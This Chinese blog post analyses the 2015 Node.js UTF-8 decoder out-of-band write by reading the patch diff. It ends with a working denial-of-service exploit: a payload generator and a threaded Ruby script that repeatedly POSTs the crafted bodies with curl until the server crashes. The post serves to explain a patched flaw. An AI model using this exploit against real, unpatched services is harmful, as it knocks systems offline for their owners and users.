Node.js 2015 独立日漏洞原理及攻击脚本

Node.js 2015 独立日漏洞原理及攻击脚本

Node.js 社区 2015 美国独立日周末的狂欢之时爆出漏洞:
medium.com/@iojs/import

随后 Node.js 紧急更新:

deps: fix out-of-band write in utf8 decoder · nodejs/node@030f804

我们来通过这个代码 diff 看一下这个漏洞的原理。


首先通读整篇 diff,可以看到作者主要的工作就是添加了变量 unbuffered_length_,并在各个调用级别上添加了对这个变量的传递。这个变量的名字叫 XXX_length,也就是标记长度,由这个名字我们可以大胆猜测这是一个缓冲区溢出型的漏洞。


在这个假设下,我们来看 unbuffered_length_ 限制了谁。在使用这个变量的函数中,调用级别最深的函数就是 Utf8::ValueOf。这个函数的作用是什么呢?从 第一个参数 bytes 指向的内存区域中,读取一个 UTF-8 字符 uchar 并返回;且其第二个参数 length 指明了可以读取数据的长度。


ValueOf 进而调用了 CalculateValue,大意就是根据 UTF-8 的解码规则,一个字节、一个字节地往后读内容进行解码;例如如果第一个字节读到了 11110xxx,那么根据解码规则这就意味着这是一个四个字节长的 UTF-8 字符,于是继续往后读一个字节,看是不是 10xxxxxx,等等。

从 diff 可以看到,之前的写法是把 length 参数传成了一个常量 Utf8::kMaxEncodedSize,它被定义为 4,但 bytes 指向的内存区域有可能并没有这么长,所以造成了缓冲区溢出。

由此可以设计攻击方案:

向使用未升级 Node.js 运行的 Chair 应用发起一个 POST 请求,读公共的源代码发现 Utf8Decoder 设定的缓冲区域的大小是512,将 Content-type 标记为 application/json; charset=utf-8,然后在 HTTP 体中传输一段解码后长度比 512 刚刚大 1~3 个字节的合法的 UTF-8 编码的字符串,这样服务器就会读取脏内存,从而有一定概率崩溃而DoS。


具体是怎么崩溃的呢?这要看上层的调用函数 WriteUtf16Slow,你会发现它是一个循环,只要读取的脏内存使得 cursor 移动异常,这个循环就有可能不会终止,而循环内的不该执行的额外周期内会向不该写入的内存区域中写入内容,导致崩溃。

攻击思路首先是构造特殊的 UTF-8 编码的内容,构造脚本如下:

// naughty_gen.js

var fs=require('fs');

var b1 = new Buffer("南越国是前203年至前111年存在于岭南地区的一个国家,国都位于番禺,疆域包括今天中国的广东、广西两省区的大部份地区,福建省、湖南、贵州、云南的一小部份地区和越南的北部。南越国是秦朝灭亡后,由南海郡尉赵佗于前203年起兵兼并桂林郡和象郡后建立。前196年和前179年,南越国曾先后两次名义上臣属于西汉,成为西汉的“外臣”。前112年,南越国末代君主赵建德与西汉发生战争,被汉武帝于前111年所灭。南越国共存在93年,历经五代君主。南越国是岭南地区的第一个有记载的政权国家,采用封建制和郡县制并存的制度,它的建立保证了秦末乱世岭南地区社会秩序的稳定,有效的改善了岭南地区落后的政治、经济现状。南越国是前203年至前111年存在于岭南地区的一个国家,国都位于番禺,疆域包括今天中国的广东、广西两省区的大部份地区,福建省、湖南、贵州、云南的一小部份地区和越南的北部。南越国是秦朝灭亡后,由南海郡尉赵佗于前203年起兵兼并桂林郡和象郡后建立。前196年和前179年,南越国曾先后两次名义上臣属于西汉,成为西汉的“外臣”。前112年,南越国末代君主赵建德与西汉发生战争,被汉武帝于前111年所灭。南越国共存在93年,历经五代君主。南越");
var b2 = new Buffer("f09f98", "hex");

最后把 b1 b2 拼接输出到 /tmp/naughty3

适当缩短 b2 的大小,分别生成naughty3、naughty2、naughty1。接下来把这些 naughty 的东西疯狂地 POST 到服务器上去,直到它崩溃:

# attack.rb

TARGET = 'http://127.0.0.1:1337/'

print "Attacking #{TARGET}"
10.times.map{
  Thread.new{
    100000.times{
      `curl -H "Content-Type: application/json; charset=utf-8" -i #{TARGET} -X POST --data-binary @naughty#{rand(3)+1} >/dev/null 2>&1`
      print "."
      break if 0 != $?.exitstatus
    }
  }
}.map(&:join)
puts "Hacked by pmq20"

效果如下:


编辑于 2017-05-02

文章被以下专栏收录

    本专栏分享日常工作中遇到的 Node.js 及 v8 的底层问题(如独立日漏洞、UTF-8 编码问题、 OpenSSL 抛错问题等),探索 Node.js 底层实现原理,并持续关注 Node.js 与 v8 上游社区的最新动态。